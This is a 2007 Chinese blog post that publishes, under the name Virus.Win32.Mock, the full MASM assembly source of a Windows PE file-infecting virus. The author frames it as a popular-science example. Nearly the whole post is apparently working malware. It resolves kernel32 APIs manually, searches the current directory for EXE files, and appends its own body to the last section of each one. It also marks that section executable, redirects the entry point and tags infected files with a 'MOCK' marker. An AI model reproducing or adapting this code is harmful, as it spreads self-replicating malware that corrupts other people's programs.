• 2007-07-07

    Virus.Win32.Mock - [病毒技术]

    版权声明:转载时请以超链接形式标明文章原始出处和作者信息及本声明
    http://romio64.blogbus.com/logs/6486203.html

    以前写的,比较适合科普
    .386
    .model flat,stdcall
    option casemap:none

    include windows.inc
    include user32.inc
    includelib user32.lib
    include kernel32.inc
    includelib kernel32.lib

    VirusSize equ (offset virus_end - offset virus_start)

    .data
    szCaption  db  'Win32.Mock',0
    szText  db  "This is the 1st PE virus of mine!",0
    .code
    virus_start label BYTE

    vxstart:
       call delta
    delta:  pop ebx
       sub ebx,offset delta
       
       mov esi,[esp]
       and esi,0ffff0000h
       call GetK32
       mov DWORD PTR [ebx+_K32Base],eax
       call GetApi
       mov DWORD PTR [ebx+@GetProcAddress],eax
       call GetApis
       
       call Prepare
       
       call SetDirectory
    ;******************************************************************************
    ;如果程序是第一次运行则执行PrintMsg
    ;******************************************************************************
       xchg ecx,ebx
       jecxz x
    ;******************************************************************************
    ;返回宿主
    ;****************************************************************************** 
       mov eax,12345678h
       org $-4
    OldEP  dd 00001000h
       add eax,12345678h
       org $-4
    OldBase  dd 00400000h
       jmp eax
    x:   ret
    ;******************************************************************************
    ;获取kernel32的基址
    ;******************************************************************************
    GetK32:  cmp WORD PTR [esi],5a4dh
       jnz @F
       mov edi,[esi+3ch]
       add edi,esi
       cmp WORD PTR [edi],4550h
       jnz @F
       xchg eax,esi
       ret
    @@:   sub esi,10000h
       cmp esi,70000000h
       jae GetK32
       xor eax,eax
       ret
    ;******************************************************************************
    ;获取GetProcAddress()的线性地址
    ;******************************************************************************
    GetApi:  mov esi,[eax+3ch]
       add esi,eax    ;获取PE头的虚拟地址
       mov esi,[esi+78h]   ;获取导出表的相对虚拟地址
       add esi,eax    ;获取导出表的虚拟地址
       push esi
       mov esi,[esi+20h]   ;获取AddressOfNames字段的相对虚拟地址
       add esi,eax    ;获取AddressOfNames字段的虚拟地址
       mov eax,esi
       xor edx,edx
       
    @@:   xor ecx,ecx
       mov cl,[ebx+_ApiLen]
       lea edi,[ebx+_szGetProcAddress]
       mov esi,[eax+edx]
       add esi,[ebx+_K32Base]
       add edx,4
       repe cmpsb
       jnz @B
       
       pop esi
       mov eax,esi
       sub edx,4
       shr edx,1
       mov eax,[eax+24h]
       add eax,[ebx+_K32Base]   ;获取AddressOfNameOrdinals字段的虚拟地址
       xor ecx,ecx
       mov cx,WORD PTR [eax+edx]
       
       mov eax,esi
       mov eax,[eax+1ch]
       add eax,[ebx+_K32Base]   ;获取AddressOfFunctions字段的虚拟地址
       shl ecx,2
       mov eax,[eax+ecx]
       add eax,[ebx+_K32Base]
       ret
    ;******************************************************************************
    ;获取所需的API线性地址
    ;******************************************************************************
    GetApis: lea edi,[ebx+szApiList]
       lea esi,[ebx+_ApiAddrList]
    @@:   push edi
       mov eax,[ebx+_K32Base]
       push eax
       mov eax,[ebx+@GetProcAddress]
       call eax
       mov DWORD PTR [esi],eax
       add esi,4
       mov ecx,-1
       xor al,al
       repne scasb
       cmp BYTE PTR [edi],90h
       jnz @B
       ret
    ;******************************************************************************
    ;获取要感染的目录
    ;******************************************************************************   
    Prepare:
       ;push 80h
       ;lea edi,[ebx+_szDir]
       ;push edi
       ;mov eax,[ebx+@GetWindowsDirectoryA]
       ;call eax
       
       ;add edi,80h
       ;push 80h
       ;push edi
       ;mov eax,[ebx+@GetSystemDirectoryA]
       ;call eax
       lea edi,[ebx+_szDir]
       
       push edi
       push 80h
       mov eax,[ebx+@GetCurrentDirectoryA]
       call eax

       add edi,80h
       push edi
       push 80h
       mov eax,[ebx+@GetCurrentDirectoryA]
       call eax
       
       add edi,80h
       push edi
       push 80h
       mov eax,[ebx+@GetCurrentDirectoryA]
       call eax
       ret
    ;******************************************************************************
    ;设置要感染的目录为当前目录
    ;******************************************************************************
    SetDirectory:
       xor ecx,ecx
       mov cl,00000003h
       lea edi,[ebx+_szDir]
    @@:
       push edi
       mov eax,[ebx+@SetCurrentDirectoryA]
       call eax
       push DWORD PTR [ebx+OldEP]
       push DWORD PTR [ebx+OldBase]
       call ScanFiles
       pop DWORD PTR [ebx+OldBase]
       pop DWORD PTR [ebx+OldEP]
    ;<<<<
       ;add esi,80h
       ;dec ecx
       ;jnz @B
       ret
    ;******************************************************************************
    ;扫描当前目录下所有的EXE文件
    ;******************************************************************************
    ScanFiles:
       mov DWORD PTR [ebx+_CounterInfected],00000000h
       
       lea eax,[ebx+W32_FIND_DATA]
       push eax
       lea eax,[ebx+EXE_MASK]
       push eax
       mov eax,[ebx+@FindFirstFileA]
       call eax
       inc eax
       or eax,eax
       jz FailInfect
       dec eax
       mov DWORD PTR [ebx+SearchHandle],eax
    @@:
       call Infect
    ;>>>>
       inc BYTE PTR [ebx+_CounterInfected]
       cmp BYTE PTR [ebx+_CounterInfected],0ah
       jz @CloseScan
       
       lea edi,[ebx+wfd_cFileName]
       mov ecx,MAX_PATH
       xor al,al
       rep stosb
       
       lea eax,[ebx+W32_FIND_DATA]
       push eax
       mov eax,[ebx+SearchHandle]
       push eax
       mov eax,[ebx+@FindNextFileA]
       call eax
       or eax,eax
       jnz @B
    @CloseScan:
       mov eax,[ebx+SearchHandle]
       push eax
       mov eax,[ebx+@FindClose]
       call eax
    FailInfect:
       ret
    ;******************************************************************************
    ;感染可执行文件
    ;******************************************************************************
    Infect:
       pushad
       ;/////////////////////////////////
       ;保存宿主文件属性并修改属性
       ;/////////////////////////////////
       lea esi,[ebx+wfd_cFileName]
       push esi
       mov eax,[ebx+@GetFileAttributesA]
       call eax
       mov DWORD PTR [ebx+OldAttributes],eax
       push 00000080h
       push esi
       mov eax,[ebx+@SetFileAttributesA]
       call eax
       ;/////////////////////////////////
       ;打开要感染的宿主文件
       ;/////////////////////////////////
       call OpenDestFile
       inc eax
       or eax,eax
       jz @CantOpenFile
       dec eax
       mov DWORD PTR [ebx+FileHandle],eax
       ;/////////////////////////////////
       ;按感染前宿主文件大小创建文件映射
       ;对象
       ;/////////////////////////////////
       mov ecx,[ebx+wfd_nFileSizeLow]
       call CreateMap
       or eax,eax
       jz CloseFile
       mov DWORD PTR [ebx+MapHandle],eax
       ;/////////////////////////////////
       ;按感染前宿主文件大小将文件映射到
       ;内存中
       ;/////////////////////////////////
       mov ecx,[ebx+wfd_nFileSizeLow]
       call MapFile
       or eax,eax
       jz CloseMap
       mov DWORD PTR [ebx+FileBase],eax
       
       ;/////////////////////////////////
       ;目标文件是否为PE
       ;/////////////////////////////////
       mov esi,[eax+3ch]
       add esi,eax
       cmp WORD PTR [esi],4550h
       jnz NoInfect
       ;/////////////////////////////////
       ;检测感染标志是否存在
       ;/////////////////////////////////
       cmp DWORD PTR [esi+4ch],'MOCK'
       jz NoInfect
       ;/////////////////////////////////
       ;保存宿主文件的文件对齐粒度
       ;/////////////////////////////////
       mov ecx,[esi+3ch]
       push ecx
       ;/////////////////////////////////
       ;保存宿主文件原入口点和基址
       ;/////////////////////////////////
       mov eax,[esi+28h]
       mov DWORD PTR [ebx+OldEP],eax
       mov eax,[esi+34h]
       mov DWORD PTR [ebx+OldBase],eax
       
       push DWORD PTR [ebx+FileBase]
       mov eax,[ebx+@UnmapViewOfFile]
       call eax
       
       push DWORD PTR [ebx+MapHandle]
       mov eax,[ebx+@CloseHandle]
       call eax
       ;/////////////////////////////////
       ;把宿主文件大小加上病毒体大小对齐
       ;后再次映射到内存中
       ;/////////////////////////////////
       pop ecx
       mov eax,[ebx+wfd_nFileSizeLow]
       add eax,VirusSize
       call AlignData
       mov DWORD PTR [ebx+NewSize],eax
       xchg ecx,eax
       call CreateMap
       inc eax
       or eax,eax
       jz CloseFile
       dec eax
       mov DWORD PTR [ebx+MapHandle],eax
       
       mov ecx,[ebx+NewSize]
       call MapFile
       or eax,eax
       jz CloseMap
       mov DWORD PTR [ebx+FileBase],eax
       
       ;/////////////////////////////////
       ;把ESI指向宿主文件的最后一个节的
       ;节表起始处
       ;/////////////////////////////////
       mov esi,[eax+3ch]
       add esi,eax
       mov edi,esi
       add esi,78h
       mov edx,[edi+74h]
       shl edx,3
       add esi,edx
       movzx eax,WORD PTR [edi+06h]
       dec eax
       imul eax,eax,28h
       add esi,eax
       
       ;/////////////////////////////////
       ;EDX指向最后一节的节末尾的文件偏移
       ;/////////////////////////////////
       mov edx,[esi+10h]
       mov ecx,edx
       add edx,[esi+14h]
       
       ;/////////////////////////////////
       ;修改宿主文件入口点为病毒入口处
       ;/////////////////////////////////
       push edx
       mov eax,ecx
       add eax,[esi+0ch]
       mov DWORD PTR [edi+28h],eax
       ;mov DWORD PTR [ebx+NewEP],eax   ;save new EntryPoint
       ;/////////////////////////////////
       ;把被感染后的文件大小对齐后
       ;修改最后一节的节表的VirtualSize
       ;和SizeOfRawData字段
       ;/////////////////////////////////
       mov eax,[esi+10h]
       add eax,VirusSize
       mov ecx,[edi+3ch]
       call AlignData
       
       mov [esi+10h],eax
       mov [esi+08h],eax
       
       ;/////////////////////////////////
       ;获取新的SizeOfIMage
       ;/////////////////////////////////
       mov eax,[esi+10h]
       add eax,[esi+0ch]
       mov DWORD PTR [edi+50h],eax
       
       ;/////////////////////////////////
       ;修改最后一节的节属性
       ;/////////////////////////////////
       or DWORD PTR [esi+24h],0A0000020h
       
       ;/////////////////////////////////
       ;设置感染标志
       ;/////////////////////////////////
       mov DWORD PTR [edi+4ch],'MOCK'
       
       ;/////////////////////////////////
       ;把病毒体写入宿主体内
       ;/////////////////////////////////
       lea esi,[ebx+virus_start]
       pop edx
       xchg edi,edx
       add edi,[ebx+FileBase]
       mov ecx,VirusSize
       rep movsb
       jmp UnMapFile
    NoInfect: mov ecx,[ebx+wfd_nFileSizeLow]
       call RestoreFile
       
    UnMapFile:
       push DWORD PTR [ebx+FileBase]
       mov eax,[ebx+@UnmapViewOfFile]
       call eax
    CloseMap:
       push DWORD PTR [ebx+MapHandle]
       mov eax,[ebx+@CloseHandle]
       call eax
    CloseFile:
       push DWORD PTR [ebx+FileHandle]
       mov eax,[ebx+@CloseHandle]
       call eax
       
    @CantOpenFile:
       push DWORD PTR [ebx+OldAttributes]
       lea eax,[ebx+wfd_cFileName]
       push eax
       mov eax,[ebx+@SetFileAttributesA]
       call eax
       
       popad
       ret
    RestoreFile:
       xor eax,eax
       push eax
       push eax
       push ecx
       push DWORD PTR [ebx+FileHandle]
       mov eax,[ebx+@SetFilePointer]
       call eax
       
       push DWORD PTR [ebx+FileHandle]
       mov eax,[ebx+@SetEndOfFile]
       call eax
       ret
    ;******************************************************************************
    ;打开目标文件
    ;******************************************************************************
    OpenDestFile:
       xor eax,eax
       push eax
       push eax
       push 00000003h
       push eax
       push 00000001h
       push 0c0000000h
       push esi
       mov eax,[ebx+@CreateFileA]
       call eax
       ret
    ;******************************************************************************
    ;创建文件映射对象
    ;******************************************************************************
    CreateMap:
       push 00000000h
       push ecx
       push 00000000h
       push 00000004h
       push 00000000h
       mov eax,[ebx+FileHandle]
       push eax
       mov eax,[ebx+@CreateFileMappingA]
       call eax
       ret
    ;******************************************************************************
    ;映射目标文件
    ;******************************************************************************
    MapFile:
       push ecx
       push 00000000h
       push 00000000h
       push 00000002h
       push DWORD PTR [ebx+MapHandle]
       mov eax,[ebx+@MapViewOfFile]
       call eax
       ret
    ;******************************************************************************
    ;对齐
    ;******************************************************************************
    AlignData:
       xor edx,edx
       div ecx
       or edx,edx
       jz @F
       inc eax
    @@:
       mul ecx
       ret

    szLib    db  'kernel32.dll',0
    _szGetProcAddress  db  'GetProcAddress',0
    _ApiLen    db  $-_szGetProcAddress
    EXE_MASK   db  '*.EXE',0
    _K32Base   dd  00000000h
    _CounterInfected  dd  00000000h
    @GetProcAddress   dd  00000000h
    szApiList   label BYTE
    _szLoadLibrarayA  db  'LoadLibraryA',0
    _szFindFirstFileA  db  'FindFirstFileA',0
    _szFindNextFileA  db  'FindNextFileA',0
    _szGetWindowsDirectoryA  db  'GetWindowsDirectoryA',0
    _szGetSystemDirectoryA  db  'GetSystemDirectoryA',0
    _szGetCurrentDirectoryA  db  'GetCurrentDirectoryA',0
    _szSetCurrentDirectoryA  db  'SetCurrentDirectoryA',0
    _szCloseHandle   db  'CloseHandle',0
    _szGetFileAttributesA  db  'GetFileAttributesA',0
    _szSetFileAttributesA  db  'SetFileAttributesA',0
    _szCreateFileA   db  'CreateFileA',0
    _szCreateFileMappingA  db  'CreateFileMappingA',0
    _szMapViewOfFile  db  'MapViewOfFile',0
    _szUnmapViewOfFile  db  'UnmapViewOfFile',0
    _szFindClose   db  'FindClose',0
    _szSetFilePointer  db  'SetFilePointer',0
    _szSetEndOfFile   db  'SetEndOfFile',0
    end_flag   db  90h
    _ApiAddrList   label DWORD
    @LoadLibraryA   dd  00000000h
    @FindFirstFileA   dd  00000000h
    @FindNextFileA   dd  00000000h
    @GetWindowsDirectoryA  dd  00000000h
    @GetSystemDirectoryA  dd  00000000h
    @GetCurrentDirectoryA  dd  00000000h
    @SetCurrentDirectoryA  dd  00000000h
    @CloseHandle   dd  00000000h
    @GetFileAttributesA  dd  00000000h
    @SetFileAttributesA  dd  00000000h
    @CreateFileA   dd  00000000h
    @CreateFileMappingA  dd  00000000h
    @MapViewOfFile   dd  00000000h
    @UnmapViewOfFile  dd  00000000h
    @FindClose   dd  00000000h
    @SetFilePointer   dd  00000000h
    @SetEndOfFile   dd  00000000h
    _szDir    label BYTE
    WindowsDir   db  128 dup (0)
    SystemDir   db  128 dup (0)
    CurrentDir   db  128 dup (0)
    W32_FIND_DATA   label  BYTE
    wfd_dwFileAttributes  dd  00000000h
    wfd_ftCreationTime  FILETIME <>
    wfd_ftLastAccessTime  FILETIME <>
    wfd_ftLastWriteTime  FILETIME <>
    wfd_nFileSizeHigh  dd   00000000h
    wfd_nFileSizeLow  dd   00000000h
    wfd_dwReserved0   dd   00000000h
    wfd_dwReserved1   dd   00000000h
    wfd_cFileName   db   MAX_PATH dup (0)
    wfd_cAlternateFileName  db   14 dup (0)
    SearchHandle   dd   00000000h
    OldAttributes   dd   00000000h
    FileHandle   dd   00000000h
    MapHandle   dd   00000000h
    FileBase   dd   00000000h
    NewSize    dd   00000000h
    NewEP    dd   00000000h
        db   90h
    virus_end   label BYTE
    PrintMsg:
       push 0
       push offset szCaption
       push offset szText
       push 0
       call MessageBoxA
       push 0
       call ExitProcess
    end  vxstart


    收藏到:Del.icio.us